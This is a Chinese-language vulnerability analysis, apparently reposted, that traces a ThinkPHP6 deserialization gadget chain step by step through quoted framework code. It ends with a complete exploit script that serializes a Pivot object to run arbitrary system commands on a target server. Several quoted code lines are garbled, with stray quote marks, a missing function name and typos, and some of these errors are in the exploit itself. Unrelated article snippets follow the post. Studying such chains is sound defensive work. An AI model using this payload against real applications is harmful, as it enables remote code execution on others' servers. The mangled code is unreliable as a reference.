Thinkphp6 反序列化漏洞分析

本文来自无问社区,更多实战内容可前往查看icon-default.png?t=N7T8http://wwlib.cn/index.php/artread/artid/10431.html

版本:Thinkphp6&PHP7.3.4

TP 环境搭建利用 composer 命令进行,同时本次分析在 windows 环境下进行

composer create-project topthink/think tp6

如果出现下图且当前目录出现 tp6 文件夹即安装成功

图片

开 phpstudy,浏览器 http://ip/public 正常访问即安装完成

图片

1.__destruct() 魔术方法

反序列化漏洞,一般切入点为对象创建、销毁等魔术方法为切入点进行挖掘。全局搜索 __destruct() 魔术方法。一共有三个,从第二个 save() 方法入手进行分析(其他两个一个为注册 register() 函数,一个为关闭连接操作)。

需要满足 $this->lazySave = True

图片

2. 跟进 save() 方法
public function save(array $data = [], string $sequence = null): bool
{
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
$this->trigger(''AfterWrite);
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;
return true;
}

分析 save() 方法,在第 17 行当 $this->exists = True 时,即会调用 updateData() 方法。所以为使程序运行到这来,上面的 if 判断得绕过。即需要满足 $this->isEmpty() = False 且 $this->trigger('BeforeWrite') = True。

2.1 跟进 isEmpty() 方法
public function isEmpty(): bool
{
return empty($this->data);
}

返回为 empty 函数的结果,所以只要 data 有数据那么 $this->isEmpty() = False 就满足。

2.2 跟进 trigger() 方法
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
$call = 'on' . Str::studly($event);
try {
if (method_exists(static::class, $call)) {
$result = call_user_func([static::class, $call], $this);
}
elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
$result = self::$event->trigger(''model. . static::class . '.' . $event, $this);
$result = empty($result) ? true : end($result);
} else {
$result = true;
}
return false === $result ? false : true;
} catch (ModelEventException $e) {
return false;
}
}

观察 trigger() 方法(上面代码是补全注释后),只有当存在 ModelEventException 类型的异常或者明确指出 $result 为 false,那么都是返回 True 的,所以正常默认来说都是返回 True。所以无论 $this->trigger 方法给的事件是什么都是默认放回 True

回到 save() 方法,if 判断条件成功绕过后,再满足 $this->exists = True 则会进入 updateData() 方法。

3. 跟进 updateData() 方法
protected function updateData(): bool
{
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
$data = $this->getChangedData();
if (empty($data)) {
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
$db = $this->db();
$db->transaction(function () use ($data, $allowFields, $db) {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
});
$this->trigger('AfterUpdate');
return true;
}

我们的目的是跟进函数同时创造条件直到找到可以利用的漏洞点,所以所有带有 return 字段的判断都得绕过除非已经找到了利用点。

这里我们需要利用的函数是 $this->checkAllowFields() 。第一个 if 判断前面已经分析过 trigger() 方法默认返回 True,所以并不会进入判断从而返回 false。继续往下走。checkData() 跟进后发现是个空函数,没啥用。

3.1 跟进 getChangedData()
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}
return $data;
}·

直接看返回非 0 即 1 或者 data 数据本身。反正就是不为 NULL。所以 updateData() 方法第二个 if 也被 pass,成功进入 checkAllowFields() 方法。

4. 跟进 checkAllowFields() 方法
protected function checkAllowFields(): array
{
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
$field = array_diff($field, $this->disuse);
}
return $field;
}

观察 checkAllowFields() 方法,可利用的点只有第 13 行的 db() 方法(只有这里对 $this 调用了方法进行处理)所以需要同时满足 $this->field = null$this->schema = null 两个条件。

5. 跟进 db() 方法
public function db($scope = []): Query
{
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
$query->model($this)
->json($this->json, $this->jsonAssoc)
->setFieldType(array_merge($this->schema, $this->jsonType));
if (property_exists($this, ''withTrashed) && !$this->withTrashed) {
$this->withNoTrashed($query);
}
if (is_array($scope)) {
$globalScope = array_diff($this->globalScope, $scope);
$query->scope($globalScope);
}
return $query;
}

在第一个 if 判断时,如果 $this->table != null,则将 $this->table 与 $this->suffix 连在一起作为整体传入 table 方法。存在可控属性的字符拼接,此处如果 $this->table 作为一个对象 进行连接,则会触发 __tostring() 魔术方法。

6.__tostring() 魔术方法

限定 Model.php 的上级目录下搜索 tostring() 魔术方法,有两个位置有定义,但 Conversion.php 中的 tostring() 魔术方法的 Conversion 和 Attribute 两个接口被 Model 引用。

图片

7. 跟进 toJson() 方法

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string

{

return json_encode($this->toArray(), $options);

}

8. 跟进 toArray() 方法
public function toArray(): array
{
$item = $visible = $hidden = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$visible$relation = $name;
} else {
$visible[$val] = true;
$hasVisible = true;
}
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$hidden$relation = $name;
} else {
$hidden[$val] = true;
}
}
}
foreach ($this->append as $key => $name) {
($item, $key, $name, $visible, $hidden);
}
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
if (isset($visible[$key]) && is_array($visible[$key])) {
$val->visible($visible[$key]);
} elseif (isset($hidden[$key]) && is_array($hidden[$key])) {
$val->hidden($hidden[$key], true);
}
if (!isset($hidden[$key]) || true !== $hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
if (isset($this->mapping[$key])) {
$mapName = $this->mapping[$key];
$item[$mapName] = $item[$key];
unset($item[$key]);
}
}
if ($this->convertNameToCamel) {
foreach ($item as $key => $val) {
$name = Str::camel($key);
if ($name !== $key) {
$item[$name] = $val;
unset($item[$key]);
}
}
}
return $item;
}

乍看很长有点复杂,其实关键在于第 55 行,去调用 getAttr() 方法,条件是 $visible[$key] 存在,而 $key 来自于 $data 的键名,而 $data 来自于 $this->data(可控),所以传入 getAttr() 方法的值就为 $this->data 这个数组的键名。

9. 跟进 getAttr() 方法
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}

此时 string $name 等同于 $data 数组中的键名 key

9.1 跟进 getData() 方法
public function getData(string $name = null)
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

$name 变量为最初 $data 数组的键名 key,第一个 if 判断 $name 有值不会进入略过。

9.2 跟进 getRealFieldName() 方法
protected function getRealFieldName(string $name): string
{
if ($this->convertNameToCamel || !$this->strict) {
return Str::snake($name);
}
return $name;
}

返回两种形式:

1、return Str::snake($name); 这个方法简单说就是 HelloWorld -> Hello_World

2、return $name; 即传入传出保持不变

如果传入字段名为驼峰命名格式($this->convertNameToCamel=>true)且为不为严格模式($this->strict=>false)则返回 Str::snake($name)。否则正常回传字段名。

所以如果 $data 数组的键名 key 不为驼峰命名格式即 $this->convertNameToCamel=>false$this->strict=>true,那么直接返回正常 $data 数组的键名 key。

再返回 getData() 方法,此时 $filedName 为 $data 数组的键名 key。进入第 13 行判断($filedName 是否存在于 $data 数组的键名 key),返回值就为相应 key 的 value 值。

继续返回 getAttr() 方法 此时给 getValue() 方法传入的三个参数 $name, $value, $relation 分别为数组的 key、value、false

10. 跟进 getValue() 方法
protected function getValue(string $name, $value, $relation = false)
{
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
if ($closure instanceof \Closure) {
$value = $closure($value, $this->data);
}
}
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationValue($relation);
$this->relation[$name] = $value;
}
$this->get[$fieldName] = $value;
return $value;
}

继续跟踪,需要绕过第 15 行的判断,满足传过来的 $this->data 的键值不存在于 $this->get 中即让 $this->get 不存在。进入第 19 行判断需要满足 $this->withAttr[$fieldName] 存在,即 $this->withAttr 和 $this->data 两个数组保持一致,20 行 if 判断默认为 false 直接略过。进入第 23 行判断需要满足两个条件:$this->json = $this->data 的 key 、$this->withAttr[key] 为数组。

接下来顺序进入 getJsonValue() 方法,传入参数为 data 数组的 key 与 value。

11. 跟进 getJsonValue() 方法
protected function getJsonValue($name, $value)
{
if (is_null($value)) {
return $value;
}
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}
return $value;
}

此时传入的参数 $name 与 $value 参数可控,都为 $this->data 这个数组的键值。

第 10 行的判断,只要 value 不为空即可绕过。

第 13 行 foreach 函数将 $this->withAttr 数组中 $name(从 $this->data 来的 key,所以也再次明确 withAttr 和 value 数组要保持一致)的键作为 key,值为 closure。同时需要满足 $this->jsonAssoc = true

进入第 15 行漏洞触发点,让 $closure 为我们想执行的函数名,$value 和 $this->data 为参数即可实现任意函数执行。

上面两句通过调试可以知道

  1. $name = whoami
  2. $value = {"system"}

$this->withAttr[$name] as $key => $closure 即将 ['whoami'=>['system']] 中的值在作为键值,那么键 key = 0 ,值 closure = system

图片

所以在接下来的 $value[$key] = $closure($value[$key], $value) 中 $value[$key] 即为 {"ststem"} 中的 0 个即 system,从而构造达到任意命令执行效果

总体捋一遍漏洞触发流程

图片

pop 链整体上是触发了两个 PHP 反序列化过程中常见的两个魔术方法 destruct() 和 toString()

1.**Model::__destruct()**

$this->lazySave = True

图片

2.Model::save()

$this->exists = True

$this->data != null

图片

3.Model::updateData()

图片

4.**Model::checkAllowFields()**

图片

5.Model::db()

$this->table 为一个对象

图片

6.Conversion::__toString()

图片

7.Conversion::toJson()

图片

8.Conversion::toArray()

图片

9.Attribute::getAttr()

图片

10.Attribute::getValue()

$this->withAttr 和 $this->data 两个数组保持一致

$this->json = $this->data 的 key

$this->withAttr[key] 为数组

图片

11.Attribute::getJsonValue()

$this->jsonAssoc = true

图片

根据上面的各项条件,整理出大致 EXP。

<?php
namespace think {
// Model 需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['whoami']];
$this->exists = true;
$this->table = $obj;
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}

但是 Model 是一个抽象类不能被实例化,只能被继承,全局搜索关键语句,找到一个 Pivot 类继承了 Model

extends Model

图片

完整 exp,构造时需要注意命名空间一致。

<?php
namespace think {
// Model 抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
public function __construct($obj=''){
$this->lazySave = true;
$this->data = ['whoami'=>[''whoami]];
$this->exists = true;
$this->table = $obj;
$this->withAttr = [''whoami=>[''system]];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
}
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}

值得注意的是,最后 EXP 实例化 Pivot 时,首先是将 Pivot 继承 Model 类,然后再创建 Pivot 实例,并且将 实例化 Pivot 当做参数传入,因为通过分析 Pivot 类。

图片

它这里构造函数中,第一个参数 $data 是一个数组用于初始化对象属性,第二个参数 $parent 表示父类。实际上是创建了一个 Pivot 类的实例,并将这个实例赋值给了新创建的 Pivot 对象的 $parent 属性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/407334.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android 架构模式之 MVP

目录 架构设计的目的对 MVP 的理解代码ModelViewPresenter Android 中 MVP 的问题试吃个小李子ModelViewPresenter效果展示 大家好&#xff01; 作为 Android 程序猿&#xff0c;你有研究过 MVP 架构吗&#xff1f;在开始接触 Android 那一刻起&#xff0c;我们就开始接触 MVC…

高频变压器无功补偿怎么做

高频变压器的无功补偿主要是为了提高功率因数、减小无功损耗、提高电源利用率。在高频电路中&#xff0c;由于频率较高&#xff0c;传统的无功补偿方法需要进行一定的调整和优化。以下是高频变压器无功补偿的一些方法和建议&#xff1a; 1、无功补偿电容器 高频电容器选择&…

具有手势识别的动捕设备——mHand Pro VR数据手套

数据手套是指通过手套内置的传感器&#xff0c;实时采集手部运动数据的动捕设备&#xff0c;通常被应用于虚拟仿真、虚拟现实vr交互、动画制作等领域。其中&#xff0c;基于惯性动作捕捉技术研发的数据手套&#xff0c;凭借其高性价比的优势&#xff0c;在市面上的应用更为广泛…

STM32G474按钮输入和点灯

在获取到工程模板后&#xff0c;学习某个CPU的第一步通常都是IO口操作。因此按钮输入和点灯&#xff0c;就是本次学习的第一个程序。先从简单入手。 和GPIO操作有关的函数如下: __HAL_RCC_GPIOA_CLK_ENABLE();//使能GPIOA时钟 __HAL_RCC_GPIOB_CLK_ENABLE();//使能GPIOB时钟 _…

深度理解指针(2)

hello各位小伙伴们&#xff0c;关于指针的了解我们断更了好久了&#xff0c;接下来这几天我会带领大家继续我们指针的学习。 目录 数组名的理解 使用指针访问一维数组 一维数组传参的本质 二级指针 指针数组 使用指针数组来模仿二维数组 数组名的理解 我们首先来看一段…

【开源社区】Elasticsearch(ES)中 exists 查询空值字段的坑

文章目录 1、概述2、使用 null_value 处理空值3、使用 exists 函数查询值为空的文档3.1 使用场景3.2 ES 中常见的空值查询方式3.3 常见误区3.4 使用 bool 查询函数查询空值字段3.5 exists 函数详解3.5.1 bool 查询的不足3.5.3 exists 的基本使用 3.6 完美方案 1、概述 本文主要…

单例模式 详解

单例模式 简介: 让类只初始化一次, 然后不同的地方都能获取到同一个实例 这是非常常用的一种模式, 系统稍微大一点基本上都会用到. 在系统中, 不同模块的总管理类都已单例模式居多 这里我们不仅使用c实现单例模式, 也会用python2实现一遍 python代码 想要看更详细的python单…

手动下载Sentinel-1卫星精密轨道数据

轨道信息对于InSAR&#xff08;干涉合成孔径雷达&#xff09;数据处理至关重要&#xff0c;因为它影响从初始图像配准到最终形变图像生成的整个过程。不准确的轨道信息会导致基线误差&#xff0c;这些误差会以残差条纹的形式出现在干涉图中。为了消除由轨道误差引起的系统性误差…

Swift 6.0 如何更优雅的抛出和处理特定类型的错误

概述 从 Swift 语言诞生那天儿起&#xff0c;它就不厌其烦一遍又一遍地向秃头码农们诉说着自己的类型安全和高雅品味。 不过遗憾的是&#xff0c;作为 Swift 语言中错误处理这最为重要的一环却时常让小伙伴们不得要领、满腹狐疑。 在本篇博文中&#xff0c;您将学到如下内容&…

基于网格尺度的上海市人口分布空间聚集特征分析与冷热点识别

在上篇文章提到了同一研究空间在不同尺度下的观察可能会带来不同的见解和发现&#xff0c;这次我们把尺度缩放到网格&#xff0c;来看网格尺度下的空间自相关性、高/低聚类&#xff0c;这些&#xff0c;因为尺度缩放到网格尺度了&#xff0c;全国这个行政区范围就显的太大了&am…

基于Shader实现的UGUI描边解决方案遇到的bug

原文链接&#xff1a;https://www.cnblogs.com/GuyaWeiren/p/9665106.html 使用这边文章介绍的描边解决方案时遇到了一些问题&#xff0c;就是文字的描边经常会变粗&#xff0c;虽然有的时候也可以正常显示描边&#xff0c;但是运行一会儿描边就不正常了&#xff0c;而且不正常…

UDP+TCP

一、UDP协议 1.recvfrom:recvform(int sockfd,void *buf,size_t len,int flags,struct sockaddr *src_addr,socklen_t *addrlen); 参数&#xff1a;socket的fd; 保存数据的空间地址 &#xff1b; 空间大小&#xff1b; 默认接收方式&#xff08;默认阻塞&#xf…

【案例56】安全设备导致请求被拦截

问题现象 访问相关报表 第二次访问发现有相关的连接问题 问题分析 服务器访问相关节点&#xff0c;发现相关节点无此问题。从客户的客户端访问缺有问题。在nclog中发现如下日志&#xff0c;链接被重置。 直接访问服务器无丢包现象。客户端未开防火墙。装了杀毒软件已经卸载。…

简单记录:两台服务器如何超快速互传文件/文件夹

在服务器间传输文件和文件夹是一个常见的任务&#xff0c;尤其是在需要同步数据或进行备份时。以下是使用 scp 命令在两台服务器之间进行文件传输的基本步骤。 服务器A 至 服务器B&#xff1a;文件传输指南 前提条件 确保服务器A和服务器B之间网络互通。确认您有权限访问目标…

C语言 之 整数在内存中的存储、大小端字节序和字节序的判断

文章目录 整数在内存中的存储大小端字节序和字节序判断大小端有大小端的原因高位和地位怎么区分&#xff1f;图例判断机器大端还是小端的例题 整数在内存中的存储 整数的2进制表示方法有三种&#xff0c;即 原码、反码和补码 三种表示方法均有符号位和数值位两部分&#xff0c…

微信小程序获取当前位置并自定义浮窗

1、在腾讯地图api申请key&#xff08;添加微信小程序的appid&#xff09;。 每个Key每日可以免费使用100次&#xff0c;超过次数后会导致地图不显示。可以多申请几个Key解决。WebService API | 腾讯位置服务腾讯地图开放平台为各类应用厂商和开发者提供基于腾讯地图的地理位置…

当AI成为你的私人医生,与AI“医”路同行的奇妙体验

“ 从挂号到诊疗&#xff0c;再到后续的健康管理&#xff0c;人工智能&#xff08;AI&#xff09;正以一种全新的方式融入我们的生活。上海市第一人民医院的创新实践&#xff0c;便是这一变革的生动注脚。 ” AI就医助理&#xff1a;从“助手”到“伙伴” 当你踏入医院大门…

猜数3次-python

题目要求&#xff1a; 定一个数字&#xff08;1-10&#xff0c;随机产生&#xff0c;通过3次判断来猜出数字&#xff09; 数字随机产生&#xff0c;范围1-10有三次机会猜测数字&#xff0c;通过3层嵌套判断实现每次猜不中会提示大了或者小了 ps&#xff1a;补充随机函数 imp…

Spring源码解析(34)之Spring事务回滚流程

一、前言 在上一个篇章我们主要介绍了Spring事务的运行流程&#xff0c;也带着一步步debug看了整个事务的运行流程&#xff0c;但是还是欠缺了Spring事务的回滚的流程。 在上篇也主要介绍了Spring事务的传播特性&#xff0c;这里还是要看一下Spring事务的传播特性&#xff0c;因…

定制开发AI智能名片商城小程序:重塑品牌曝光的创新推手

摘要&#xff1a;随着移动互联网技术的飞速发展&#xff0c;小程序作为一种轻量级应用形态&#xff0c;正逐步成为企业品牌传播与商业变现的重要渠道。本文将探讨在品牌定位中&#xff0c;如何将“定制开发AI智能名片商城小程序”作为品牌曝光的核心推手&#xff0c;通过强化品…